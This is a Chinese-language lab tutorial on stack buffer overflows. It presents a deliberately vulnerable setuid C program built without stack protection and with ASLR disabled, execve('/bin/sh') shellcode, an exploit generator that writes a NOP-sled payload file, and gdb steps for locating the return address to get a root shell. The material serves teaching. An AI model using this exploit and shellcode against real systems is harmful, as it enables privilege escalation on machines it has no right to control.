缓冲区溢出漏洞实验

时间:2021-11-26 06:57:42

缓冲区溢出漏洞实验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验内容

0.相关说明

本次实验在32为Linux下进行,如果操作系统为64位,需要按照如下方法设置。实验使用的shell脚本为zsh。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
ln -s /bin/zsh /bin/sh

Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。为了实验可以有效进行,我们需要关闭地址空间随机化。

sudo sysctl -w kernel.randomize_va_space=0

1.shellcode

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

2.一个带有缓冲区溢出漏洞的程序

下面是一个带有缓冲区溢出漏洞的程序。程序的功能是,从文件中一个长度为517的字符数组,调用带有漏洞的函数,将长度为517的字符串存储在长度为12的数组中,这一操作将导致缓冲区溢出,致使存储函数返回地址的栈空间被写入str中的值,函数不能正常返回。

//stack.c
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

使用su用户编译程序,关闭堆栈保护,允许执行栈。设置Set-UID权限。

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack

3.攻击缓冲区漏洞,获得带有root权限的shell

我们希望可以通过缓冲区溢出得到一个带有root权限的shell。首先编写C程序如下。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
}

将这段代码编译到汇编代码,作为shellcode。

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

再编写C程序,将这段代码写入文件中。

//exploit.c
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
    "\x31\xc0"    //xorl %eax,%eax
    "\x50"        //pushl %eax
    "\x68""//sh"  //pushl $0x68732f2f
    "\x68""/bin"  //pushl $0x6e69622f
    "\x89\xe3"    //movl %esp,%ebx
    "\x50"        //pushl %eax
    "\x53"        //pushl %ebx
    "\x89\xe1"    //movl %esp,%ecx
    "\x99"        //cdq
    "\xb0\x0b"    //movb $0x0b,%al
    "\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer+0x100, shellcode);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

代码中x??的部分填写shellcode保存在内存中的地址。这段代码精确实现了覆盖掉函数返回地址的效果。前面的x90为汇编指令的nop,不产生任何效果。程序执行到x??的位置时,将这一段数字当作返回地址,跳转到shellcode中,继续执行的代码不是正常返回后的代码,而是shellcode中的代码。那么现在我们的任务就是找到stack程序中shellcode的地址。
现代操作系统使用虚存-物理内存映射的方式分配内存,每个程序假想自己拥有全部32位地址空间,跳转指令使用的地址为虚存地址。因此,我们可以通过反汇编stack程序找到shellcode数组的地址。

gdb stack
(gdb) disass main

得到main函数的反汇编指令。

Dump of assembler code for function main:
   0x080484dc <+0>:push   %ebp
   0x080484dd <+1>:mov    %esp,%ebp
   0x080484df <+3>:and    $0xfffffff0,%esp
(*)0x080484e2 <+6>:sub    $0x220,%esp
   0x080484e8 <+12>:movl   $0x80485e0,0x4(%esp)
   0x080484f0 <+20>:movl   $0x80485e2,(%esp)
   0x080484f7 <+27>:call   0x80483b0 <fopen@plt>
   0x080484fc <+32>:mov    %eax,0x21c(%esp)
   0x08048503 <+39>:mov    0x21c(%esp),%eax
   0x0804850a <+46>:mov    %eax,0xc(%esp)
   0x0804850e <+50>:movl   $0x205,0x8(%esp)
   0x08048516 <+58>:movl   $0x1,0x4(%esp)
   0x0804851e <+66>:lea    0x17(%esp),%eax
   0x08048522 <+70>:mov    %eax,(%esp)
   0x08048525 <+73>:call   0x8048360 <fread@plt>
   0x0804852a <+78>:lea    0x17(%esp),%eax
   0x0804852e <+82>:mov    %eax,(%esp)
   0x08048531 <+85>:call   0x80484bd <bof>
   0x08048536 <+90>:movl   $0x80485ea,(%esp)
   0x0804853d <+97>:call   0x8048380 <puts@plt>
   0x08048542 <+102>:mov    $0x0,%eax
   0x08048547 <+107>:leave  
   0x08048548 <+108>:ret    
End of assembler dump.

我们可以发现,main函数中执行了一次 esp0x220 esp指向到shellcode数组。那么我们在这条指令的下一句添加断点,读出$esp的值就是shellcode的首地址。

(gdb) b *0x080484e8
(gdb) r
(gdb) i r $esp

得到esp 0xffffd680,于是我们将buffer里的地址改为$esp+0x100=0xffffd780(需要注意大小端)。

strcpy(buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x80\xd7\xff\xff");

编译并执行,生成badfile,再运行stack,获得一个带有root权限的shell。